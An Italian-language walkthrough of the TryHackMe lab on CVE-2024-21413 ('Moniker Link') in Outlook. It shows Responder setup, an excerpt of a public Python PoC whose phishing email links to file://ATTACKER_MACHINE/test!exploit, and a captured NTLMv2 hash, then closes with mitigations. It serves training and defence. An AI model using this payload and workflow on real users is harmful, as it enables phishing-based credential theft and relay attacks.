TryHackMe: Moniker Link — Guida a CVE-2024-21413

Una guida completa alla room TryHackMe "Moniker Link": sfruttare la CVE-2024-21413, una vulnerabilità di Microsoft Outlook del 2024, per rubare l'hash NTLMv2 della vittima nel momento in cui fa clic su un link in un'email di phishing — senza macro, senza allegati, senza avvisi di sicurezza evidenti.

La CVE-2024-21413 ("Moniker Link") è una vulnerabilità nel modo in cui Outlook valida i link file:// che utilizzano la sintassi "moniker" OLE di Windows (un ! finale dopo il percorso, es. file://host/share!qualcosa). Outlook dovrebbe aprire i link a file esterni tramite la Visualizzazione protetta, che isola il file in una sandbox e avvisa l'utente prima che qualsiasi credenziale possa fuoriuscire. Il ! in più rompe il parser URL di Outlook quanto basta per fargli saltare del tutto la Visualizzazione protetta e passare il link direttamente a Windows, che — poiché sembra un percorso UNC — tenta silenziosamente l'autenticazione SMB contro il server dell'attaccante. Quel tentativo di autenticazione fa trapelare l'hash NTLMv2 della vittima prima che la vittima abbia fatto qualsiasi altra cosa oltre a cliccare su un link dall'aspetto normale.

Struttura della room

Guida

1. Configurare il listener

responder -I ens5

Responder viene avviato sull'interfaccia della macchina dell'attaccante prima che venga inviato qualsiasi cosa, con LLMNR, NBT-NS e DNS poisoning abilitati. È questo che cattura effettivamente la fuga di credenziali: quando l'exploit induce Outlook a tentare un'autenticazione SMB contro l'IP dell'attaccante, Responder è ciò che resta in ascolto dall'altra parte per intercettarla.

1. Ricognizione — la casella di posta della vittima

Il bersaglio è una casella Outlook standard, [email protected], nella sua normale visualizzazione della posta in arrivo prima che arrivi qualsiasi email di phishing — la baseline da cui parte il resto della room.

3. Creare l'exploit — lo script dell'exploit

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

L'exploit (il PoC pubblico di CMNatic per la CVE-2024-21413) è un piccolo script Python che costruisce e invia un'email HTML via SMTP. Il payload è interamente in una riga: un link <a href="file://..."> puntato alla macchina dell'attaccante, con !exploit aggiunto alla fine del percorso. Quel ! finale è l'intero bug: è ciò che fa classificare erroneamente l'URL al parser di Outlook e saltare il controllo della Visualizzazione protetta che applicherebbe normalmente a un link a file esterno.

4. Consegnare — invio dell'email

python3 exploit.py
Enter your attacker email password: attacker
Email delivered

L'esecuzione dello script autentica al server di posta e invia l'email costruita alla vittima. Email delivered conferma che ha lasciato correttamente la casella dell'attaccante.

4. Consegnare — arrivo nella casella della vittima

L'email arriva nella casella di [email protected], mittente CMNatic, oggetto CVE-2024-21413, e contiene nient'altro che un singolo link con la scritta "Click me" — nessun allegato, nessun avviso di macro, nulla che di norma farebbe scattare un filtro anti-phishing o insospettirebbe un utente attento.

5. Cattura — la vittima clicca il link

Cliccando su "Click me" si attiva la finestra di errore di Esplora risorse di Windows generata da Outlook: "Non riusciamo a trovare '\10.113.72.84\test!exploit'. Assicurati di usare la posizione o l'indirizzo web corretto." Questo errore è in realtà la prova che l'exploit ha già funzionato — quando questa finestra appare, Windows ha già provato a risolvere quel percorso UNC via SMB e, nel farlo, si è già autenticato contro 10.113.72.84 (la macchina dell'attaccante). Il fallimento visibile è solo Esplora risorse che non trova una condivisione che non doveva mai esistere; la fuga di credenziali è già avvenuta silenziosamente prima ancora che la finestra di errore comparisse.

5. Cattura — hash catturato in Responder

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...

Di nuovo sulla macchina dell'attaccante, Responder ha già catturato l'intero handshake NTLMv2-SSP per THM-MONIKERLINK\tryhackme, proveniente da 10.113.150.143 (la vittima). Nessun prompt di credenziali, nessun avviso di sicurezza e nessuna azione dell'utente oltre a un singolo clic su quello che sembrava un link normale — l'hash era pronto per essere crackato o usato in un attacco relay nell'istante in cui Outlook ha gestito male il moniker link.

Strumenti usati

• Responder — avvelenamento LLMNR/NBT-NS/DNS e cattura di autenticazioni SMB
• Uno script Python SMTP personalizzato (il PoC di CMNatic per la CVE-2024-21413) — crea e consegna l'email con il moniker link malevolo
• Microsoft Outlook (client della vittima) — il componente vulnerabile; versione interessata dalla CVE-2024-21413 prima della patch Microsoft di febbraio 2024

Punti chiave

• Un singolo carattere finale (!) era l'intera vulnerabilità. La CVE-2024-21413 è un buon promemoria del fatto che i parser di URL/percorsi sono una fonte comune di bypass dei confini di sicurezza — un input malformato non deve essere complesso per sfuggire a un controllo, deve solo finire in un percorso di codice non coperto da quel controllo.
• La Visualizzazione protetta esiste proprio per fermare questa classe di attacchi, e il vero impatto del bug è stato aggirarla silenziosamente piuttosto che la fuga NTLM in sé — il relay/cattura NTLM tramite un link file:// è una tecnica vecchia; ciò che rendeva notevole questa CVE era che Outlook non avrebbe dovuto affatto lasciar scattare il link senza un avviso.
• L'autenticazione NTLM fa trapelare le credenziali semplicemente venendo tentata, anche se la "condivisione" dall'altra parte non esiste. La vittima non ha mai inserito una password né visto un prompt di accesso; Windows ha consegnato automaticamente un hash NTLMv2 come parte del tentativo (fallito) di esplorare un percorso UNC.
• Questo è un attacco quasi zero-click dal punto di vista della vittima — un clic su un link senza allegato, senza macro e senza alcun evidente campanello d'allarme è stato sufficiente. Il patching (Microsoft lo ha corretto nell'aggiornamento di febbraio 2024) e la disattivazione dell'autenticazione NTLM in uscita verso host non affidabili sono le due vere mitigazioni; la sola formazione degli utenti non avrebbe fermato questo attacco, poiché nell'email non c'era nulla di anomalo.